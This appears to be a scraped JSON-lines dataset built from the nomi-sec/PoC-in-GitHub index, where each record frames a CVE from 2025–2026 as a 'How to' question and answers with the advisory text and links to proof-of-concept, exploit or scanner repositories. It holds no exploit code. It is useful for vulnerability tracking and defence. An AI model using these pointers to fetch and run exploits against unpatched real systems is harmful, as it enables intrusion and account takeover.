{"id": "gh_a4203330c066", "question": "How to: CVE-2026-21876 (2026-01-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe OWASP core rule set (CRS) is a set of generic attack detection rules for use with compatible web application firewalls. Prior to versions 4.22.0 and 3.3.8, the current rule 922110 has a bug when processing multipart requests with multiple parts. When the first rule in a chain iterates over a collection (like `MULTIPART_PART_HEADERS`), the capture variables (`TX:0`, `TX:1`) get overwritten with each iteration. Only the last captured value is available to the chained rule, which means malicious charsets in earlier parts can be missed if a later part has a legitimate charset. Versions 4.22.0 and 3.3.8 patch the issue.\n```\n- [daytriftnewgen/CVE-2026-21876](https://github.com/daytriftnewgen/CVE-2026-21876)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152554"}
{"id": "gh_998291a0b418", "question": "How to: CVE-2026-21877 (2026-01-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nn8n is an open source workflow automation platform. In versions 0.121.2 and below, an authenticated attacker may be able to execute malicious code using the n8n service. This could result in full compromise and can impact both self-hosted and n8n Cloud instances. This issue is fixed in version 1.121.3. Administrators can reduce exposure by disabling the Git node and limiting access for untrusted users, but upgrading to the latest version is recommended.\n```\n- [Ashwesker/Ashwesker-CVE-2026-21877](https://github.com/Ashwesker/Ashwesker-CVE-2026-21877)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152559"}
{"id": "gh_50795b8b4e3f", "question": "How to: CVE-2026-22241 (2026-01-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Open eClass platform (formerly known as GUnet eClass) is a complete course management system. Prior to version 4.2, an arbitrary file upload vulnerability in the theme import functionality enables an attacker with administrative privileges to upload arbitrary files on the server's file system. The main cause of the issue is that no validation or sanitization of the file's present inside the zip archive. This leads to remote code execution on the web server. Version 4.2 patches the issue.\n```\n- [Ashifcoder/CVE-2026-22241](https://github.com/Ashifcoder/CVE-2026-22241)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152565"}
{"id": "gh_8ee4d0d27f8a", "question": "How to: CVE-2026-22686 (2026-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nEnclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.\n```\n- [amusedx/CVE-2026-22686](https://github.com/amusedx/CVE-2026-22686)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152573"}
{"id": "gh_3db19c9a8de5", "question": "How to: CVE-2026-22804 (2026-01-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nTermix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.7.0 to 1.9.0, Stored Cross-Site Scripting (XSS) vulnerability exists in the Termix File Manager component. The application fails to sanitize SVG file content before rendering it. This allows an attacker who has compromised a managed SSH server to plant a malicious file, which, when previewed by the Termix user, executes arbitrary JavaScript in the context of the application. The vulnerability is located in src/ui/desktop/apps/file-manager/components/FileViewer.tsx. This vulnerability is fixed in 1.10.0.\n```\n- [ThemeHackers/CVE-2026-22804](https://github.com/ThemeHackers/CVE-2026-22804)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152578"}
{"id": "gh_7ec80029c60d", "question": "How to: CVE-2026-22812 (2026-01-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.\n```\n- [Udyz/CVE-2026-22812-Exp](https://github.com/Udyz/CVE-2026-22812-Exp)\n- [rohmatariow/CVE-2026-22812-exploit](https://github.com/rohmatariow/CVE-2026-22812-exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152584"}
{"id": "gh_f7a5c43a0fcd", "question": "How to: CVE-2026-23478 (2026-01-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCal.com is open-source scheduling software. From 3.1.6 to before 6.0.7, there is a vulnerability in a custom NextAuth JWT callback that allows attackers to gain full authenticated access to any user's account by supplying a target email address via session.update(). This vulnerability is fixed in 6.0.7.\n```\n- [Ashwesker/Ashwesker-CVE-2026-23478](https://github.com/Ashwesker/Ashwesker-CVE-2026-23478)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152588"}
{"id": "gh_2a14cc4d1de8", "question": "How to: CVE-2026-23550 (2026-01-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Privilege Assignment vulnerability in Modular DS allows Privilege Escalation.This issue affects Modular DS: from n/a through 2.5.1.\n```\n- [cyberdudebivash/CYBERDUDEBIVASH-Modular-DS-CVE-2026-23550-Detector](https://github.com/cyberdudebivash/CYBERDUDEBIVASH-Modular-DS-CVE-2026-23550-Detector)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152593"}
{"id": "gh_c409261aaec8", "question": "How to: CVE-2025-0054 (2025-02-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSAP NetWeaver Application Server Java does not sufficiently handle user input, resulting in a stored cross-site scripting vulnerability. The application allows attackers with basic user privileges to store a Javascript payload on the server, which could be later executed in the victim's web browser. With this the attacker might be able to read or modify information associated with the vulnerable web page.\n```\n- [z3usx01/CVE-2025-0054](https://github.com/z3usx01/CVE-2025-0054)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152598"}
{"id": "gh_6a8eb9af0bcc", "question": "How to: CVE-2025-0087 (2025-09-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn onCreate of UninstallerActivity.java, there is a possible way to uninstall a different user's app due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n```\n- [SpiralBL0CK/CVE-2025-0087-](https://github.com/SpiralBL0CK/CVE-2025-0087-)\n- [SpiralBL0CK/CVE-2025-0087](https://github.com/SpiralBL0CK/CVE-2025-0087)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152603"}
{"id": "gh_7eea399e0975", "question": "How to: CVE-2025-0108 (2025-02-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn authentication bypass in the Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to bypass the authentication otherwise required by the PAN-OS management web interface and invoke certain PHP scripts. While invoking these PHP scripts does not enable remote code execution, it can negatively impact integrity and confidentiality of PAN-OS.\\n\\nYou can greatly reduce the risk of this issue by restricting access to the management web interface to only trusted internal IP addresses according to our recommended  best practices deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\\n\\nThis issue does not affect Cloud NGFW or Prisma Access software.\n```\n- [iSee857/CVE-2025-0108-PoC](https://github.com/iSee857/CVE-2025-0108-PoC)\n- [FOLKS-iwd/CVE-2025-0108-PoC](https://github.com/FOLKS-iwd/CVE-2025-0108-PoC)\n- [fr4nc1stein/CVE-2025-0108-SCAN](https://github.com/fr4nc1stein/CVE-2025-0108-SCAN)\n- [barcrange/CVE-2025-0108-Authentication-Bypass-checker](https://github.com/barcrange/CVE-2025-0108-Authentication-Bypass-checker)\n- [sohaibeb/CVE-2025-0108](https://github.com/sohaibeb/CVE-2025-0108)\n- [becrevex/CVE-2025-0108](https://github.com/becrevex/CVE-2025-0108)\n- [Ashwesker/Ashwesker-CVE-2025-0108](https://github.com/Ashwesker/Ashwesker-CVE-2025-0108)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152610"}
{"id": "gh_ad7248b30f21", "question": "How to: CVE-2025-0133 (2025-05-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA reflected cross-site scripting (XSS) vulnerability in the GlobalProtect™ gateway and portal features of Palo Alto Networks PAN-OS® software enables execution of malicious JavaScript in the context of an authenticated Captive Portal user's browser when they click on a specially crafted link. The primary risk is phishing attacks that can lead to credential theft—particularly if you enabled Clientless VPN.\\n\\nThere is no availability impact to GlobalProtect features or GlobalProtect users. Attackers cannot use this vulnerability to tamper with or modify contents or configurations of the GlobalProtect portal or gateways. The integrity impact of this vulnerability is limited to enabling an attacker to create phishing and credential-stealing links that appear to be hosted on the GlobalProtect portal.\\n\\n\\n\\nFor GlobalProtect users with Clientless VPN enabled, there is a limited impact on confidentiality due to inherent risks of Clientless VPN that facilitate credential theft. You can read more about this risk in the informational bulletin  PAN-SA-2025-0005 https://security.paloaltonetworks.com/PAN-SA-2025-0005   https://security.paloaltonetworks.com/PAN-SA-2025-0005 . There is no impact to confidentiality for GlobalProtect users if you did not enable (or you disable) Clientless VPN.\n```\n- [dodiorne/cve-2025-0133](https://github.com/dodiorne/cve-2025-0133)\n- [ynsmroztas/-CVE-2025-0133-GlobalProtect-XSS](https://github.com/ynsmroztas/-CVE-2025-0133-GlobalProtect-XSS)\n- [wiseep/CVE-2025-0133](https://github.com/wiseep/CVE-2025-0133)\n- [INTELEON404/CVE-2025-0133](https://github.com/INTELEON404/CVE-2025-0133)\n- [shawarkhanethicalhacker/CVE-2025-0133-exploit](https://github.com/shawarkhanethicalhacker/CVE-2025-0133-exploit)\n- [adhamelhansye/CVE-2025-0133](https://github.com/adhamelhansye/CVE-2025-0133)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152618"}
{"id": "gh_0bf4da1acafb", "question": "How to: CVE-2025-0184 (2025-03-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Server-Side Request Forgery (SSRF) vulnerability was identified in langgenius/dify version 0.10.2. The vulnerability occurs in the 'Create Knowledge' section when uploading DOCX files. If an external relationship exists in the DOCX file, the reltype value is requested as a URL using the 'requests' module instead of the 'ssrf_proxy', leading to an SSRF vulnerability. This issue was fixed in version 0.11.0.\n```\n- [m0d0ri205/wargame_Re-LS](https://github.com/m0d0ri205/wargame_Re-LS)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152623"}
{"id": "gh_1cd116ca20cf", "question": "How to: CVE-2025-0282 (2025-01-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.5, Ivanti Policy Secure before version 22.7R1.2, and Ivanti Neurons for ZTA gateways before version 22.7R2.3 allows a remote unauthenticated attacker to achieve remote code execution.\n```\n- [absholi7ly/CVE-2025-0282-Ivanti-exploit](https://github.com/absholi7ly/CVE-2025-0282-Ivanti-exploit)\n- [AnonStorks/CVE-2025-0282-Full-version](https://github.com/AnonStorks/CVE-2025-0282-Full-version)\n- [rxwx/pulse-meter](https://github.com/rxwx/pulse-meter)\n- [watchtowrlabs/CVE-2025-0282](https://github.com/watchtowrlabs/CVE-2025-0282)\n- [sfewer-r7/CVE-2025-0282](https://github.com/sfewer-r7/CVE-2025-0282)\n- [Hexastrike/Ivanti-Connect-Secure-Logs-Parser](https://github.com/Hexastrike/Ivanti-Connect-Secure-Logs-Parser)\n- [almanatra/CVE-2025-0282](https://github.com/almanatra/CVE-2025-0282)\n- [AdaniKamal/CVE-2025-0282](https://github.com/AdaniKamal/CVE-2025-0282)\n- [44xo/CVE-2025-0282](https://github.com/44xo/CVE-2025-0282)\n- [punitdarji/Ivanti-CVE-2025-0282](https://github.com/punitdarji/Ivanti-CVE-2025-0282)\n- [Ashwesker/Ashwesker-CVE-2025-0282](https://github.com/Ashwesker/Ashwesker-CVE-2025-0282)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152629"}
{"id": "gh_4cc7f9edeb3a", "question": "How to: CVE-2025-0288 (2025-03-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVarious Paragon Software products contain an arbitrary kernel memory vulnerability within biontdrv.sys, facilitated by the memmove function, which does not validate or sanitize user controlled input, allowing an attacker the ability to write arbitrary kernel memory and perform privilege escalation.\n```\n- [barhen12/CVE-2025-0288](https://github.com/barhen12/CVE-2025-0288)\n- [MeisamEb/CVE-2025-0288](https://github.com/MeisamEb/CVE-2025-0288)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152634"}
{"id": "gh_c75872ccaba4", "question": "How to: CVE-2025-0309 (2025-08-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn insufficient validation on the server connection endpoint in Netskope Client allows local users to elevate privileges on the system. The insufficient validation allows Netskope Client to connect to any other server with Public Signed CA TLS certificates and send specially crafted responses to elevate privileges.\n```\n- [AmberWolfCyber/UpSkope](https://github.com/AmberWolfCyber/UpSkope)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152639"}
{"id": "gh_ed1fa6dace6c", "question": "How to: CVE-2025-0316 (2025-02-08)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WP Directorybox Manager plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.5. This is due to incorrect authentication in the 'wp_dp_enquiry_agent_contact_form_submit_callback' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the username.\n```\n- [MrPayloadC/CVE-2025-0316-Exploit](https://github.com/MrPayloadC/CVE-2025-0316-Exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152644"}
{"id": "gh_6fb9267f0067", "question": "How to: CVE-2025-0364 (2025-02-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nBigAntSoft BigAnt Server, up to and including version 5.6.06, is vulnerable to unauthenticated remote code execution via account registration. An unauthenticated remote attacker can create an administrative user through the default exposed SaaS registration mechanism. Once an administrator, the attacker can upload and execute arbitrary PHP code using the \"Cloud Storage Addin,\" leading to unauthenticated code execution.\n```\n- [vulncheck-oss/cve-2025-0364](https://github.com/vulncheck-oss/cve-2025-0364)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152649"}
{"id": "gh_43b799cbb9aa", "question": "How to: CVE-2025-0411 (2025-01-25)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\n7-Zip Mark-of-the-Web Bypass Vulnerability. This vulnerability allows remote attackers to bypass the Mark-of-the-Web protection mechanism on affected installations of 7-Zip. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\\n\\nThe specific flaw exists within the handling of archived files. When extracting files from a crafted archive that bears the Mark-of-the-Web, 7-Zip does not propagate the Mark-of-the-Web to the extracted files. An attacker can leverage this vulnerability to execute arbitrary code in the context of the current user. Was ZDI-CAN-25456.\n```\n- [dhmosfunk/7-Zip-CVE-2025-0411-POC](https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC)\n- [iSee857/CVE-2025-0411-PoC](https://github.com/iSee857/CVE-2025-0411-PoC)\n- [ishwardeepp/CVE-2025-0411-MoTW-PoC](https://github.com/ishwardeepp/CVE-2025-0411-MoTW-PoC)\n- [cesarbtakeda/7-Zip-CVE-2025-0411-POC](https://github.com/cesarbtakeda/7-Zip-CVE-2025-0411-POC)\n- [betulssahin/CVE-2025-0411-7-Zip-Mark-of-the-Web-Bypass](https://github.com/betulssahin/CVE-2025-0411-7-Zip-Mark-of-the-Web-Bypass)\n- [RustMacrosRecoil/7-Zip-CVE-2025-0411-POC](https://github.com/RustMacrosRecoil/7-Zip-CVE-2025-0411-POC)\n- [Ashwesker/Ashwesker-CVE-2025-0411](https://github.com/Ashwesker/Ashwesker-CVE-2025-0411)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152661"}
{"id": "gh_167f6f175d2a", "question": "How to: CVE-2025-0851 (2025-01-29)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA path traversal issue in ZipUtils.unzip and TarUtils.untar in Deep Java Library (DJL) on all platforms allows a bad actor to write files to arbitrary locations.\n```\n- [skrkcb2/CVE-2025-0851](https://github.com/skrkcb2/CVE-2025-0851)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152665"}
{"id": "gh_12aa9b1a9d08", "question": "How to: CVE-2025-0868 (2025-02-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint..\\n\\nThis issue affects DocsGPT: from 0.8.1 through 0.12.0.\n```\n- [aidana-gift/CVE-2025-0868](https://github.com/aidana-gift/CVE-2025-0868)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152670"}
{"id": "gh_43d86f5429c3", "question": "How to: CVE-2025-0886 (2025-07-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn incorrect permissions vulnerability was reported in Elliptic Labs Virtual Lock Sensor that could allow a local, authenticated user to escalate privileges.\n```\n- [JNDataRT/VirtualLockSensorLPE](https://github.com/JNDataRT/VirtualLockSensorLPE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152674"}
{"id": "gh_3687953b6798", "question": "How to: CVE-2025-0924 (2025-02-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe WP Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘message’ parameter in all versions up to, and including, 5.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n```\n- [skrkcb2/CVE-2025-0924-different](https://github.com/skrkcb2/CVE-2025-0924-different)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152680"}
{"id": "gh_c72d1af57397", "question": "How to: CVE-2025-0994 (2025-02-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nTrimble Cityworks versions prior to 15.8.9 and Cityworks with office companion versions prior to 23.10 are vulnerable to a deserialization vulnerability. This could allow an authenticated user to perform a remote code execution attack against a customer’s Microsoft Internet Information Services (IIS) web server.\n```\n- [rxerium/CVE-2025-0994](https://github.com/rxerium/CVE-2025-0994)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152685"}
{"id": "gh_583ebfa127cf", "question": "How to: CVE-2025-1015 (2025-02-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nThe Thunderbird Address Book URI fields contained unsanitized links. This could be used by an attacker to create and export an address book containing a malicious payload in a field. For example, in the “Other” field of the Instant Messaging section. If another user imported the address book, clicking on the link could result in opening a web page inside Thunderbird, and that page could execute (unprivileged) JavaScript. This vulnerability affects Thunderbird < 128.7 and Thunderbird < 135.\n```\n- [r3m0t3nu11/CVE-2025-1015](https://github.com/r3m0t3nu11/CVE-2025-1015)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152691"}
{"id": "gh_4ffe69d49f66", "question": "How to: CVE-2025-1055 (2025-06-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA vulnerability in the K7RKScan.sys driver, part of the K7 Security Anti-Malware suite, allows a local low-privilege user to send crafted IOCTL requests to terminate a wide range of processes running with administrative or system-level privileges, with the exception of those inherently protected by the operating system. This flaw stems from missing access control in the driver's IOCTL handler, enabling unprivileged users to perform privileged actions in kernel space. Successful exploitation can lead to denial of service by disrupting critical services or privileged applications.\n```\n- [diego-tella/CVE-2025-1055-poc](https://github.com/diego-tella/CVE-2025-1055-poc)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152696"}
{"id": "gh_6aeb720f0d72", "question": "How to: CVE-2025-1094 (2025-02-13)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper neutralization of quoting syntax in PostgreSQL libpq functions PQescapeLiteral(), PQescapeIdentifier(), PQescapeString(), and PQescapeStringConn() allows a database input provider to achieve SQL injection in certain usage patterns.  Specifically, SQL injection requires the application to use the function result to construct input to psql, the PostgreSQL interactive terminal.  Similarly, improper neutralization of quoting syntax in PostgreSQL command line utility programs allows a source of command line arguments to achieve SQL injection when client_encoding is BIG5 and server_encoding is one of EUC_TW or MULE_INTERNAL.  Versions before PostgreSQL 17.3, 16.7, 15.11, 14.16, and 13.19 are affected.\n```\n- [soltanali0/CVE-2025-1094-Exploit](https://github.com/soltanali0/CVE-2025-1094-Exploit)\n- [ishwardeepp/CVE-2025-1094-PoC-Postgre-SQLi](https://github.com/ishwardeepp/CVE-2025-1094-PoC-Postgre-SQLi)\n- [aninfosec/CVE-2025-1094](https://github.com/aninfosec/CVE-2025-1094)\n- [Ashwesker/Ashwesker-CVE-2025-1094](https://github.com/Ashwesker/Ashwesker-CVE-2025-1094)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152702"}
{"id": "gh_39464323af90", "question": "How to: CVE-2025-1097 (2025-03-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA security issue was discovered in  ingress-nginx https://github.com/kubernetes/ingress-nginx  where the `auth-tls-match-cn` Ingress annotation can be used to inject configuration into nginx. This can lead to arbitrary code execution in the context of the ingress-nginx controller, and disclosure of Secrets accessible to the controller. (Note that in the default installation, the controller can access all Secrets cluster-wide.)\n```\n- [hakaioffsec/IngressNightmare-PoC](https://github.com/hakaioffsec/IngressNightmare-PoC)\n- [lufeirider/IngressNightmare-PoC](https://github.com/lufeirider/IngressNightmare-PoC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152707"}
{"id": "gh_13671215f5ef", "question": "How to: CVE-2025-1122 (2025-04-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOut-Of-Bounds Write in TPM2 Reference Library in Google ChromeOS 15753.50.0  stable on Cr50 Boards allows an attacker with root access to gain persistence and \\nBypass operating system verification via exploiting the NV_Read functionality during the Challenge-Response process.\n```\n- [FWNavy/RMASmoke](https://github.com/FWNavy/RMASmoke)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152712"}
{"id": "gh_d48da2fbd15d", "question": "How to: CVE-2025-1219 (2025-03-30)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIn PHP from 8.1.* before 8.1.32, from 8.2.* before 8.2.28, from 8.3.* before 8.3.19, from 8.4.* before 8.4.5, when requesting a HTTP resource using the DOM or SimpleXML extensions, the wrong content-type header is used to determine the charset when the requested resource performs a redirect. This may cause the resulting document to be parsed incorrectly or bypass validations.\n```\n- [BreadSquad/ediop3PHP](https://github.com/BreadSquad/ediop3PHP)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152717"}
{"id": "gh_dd6799f6d46b", "question": "How to: CVE-2025-1302 (2025-02-15)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVersions of the package jsonpath-plus before 10.3.0 are vulnerable to Remote Code Execution (RCE) due to improper input sanitization. An attacker can execute aribitrary code on the system by exploiting the unsafe default usage of eval='safe' mode.\\r\\r**Note:**\\r\\rThis is caused by an incomplete fix for [CVE-2024-21534](https://security.snyk.io/vuln/SNYK-JS-JSONPATHPLUS-7945884).\n```\n- [EQSTLab/CVE-2025-1302](https://github.com/EQSTLab/CVE-2025-1302)\n- [abrewer251/CVE-2025-1302_jsonpath-plus_RCE](https://github.com/abrewer251/CVE-2025-1302_jsonpath-plus_RCE)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.152722"}
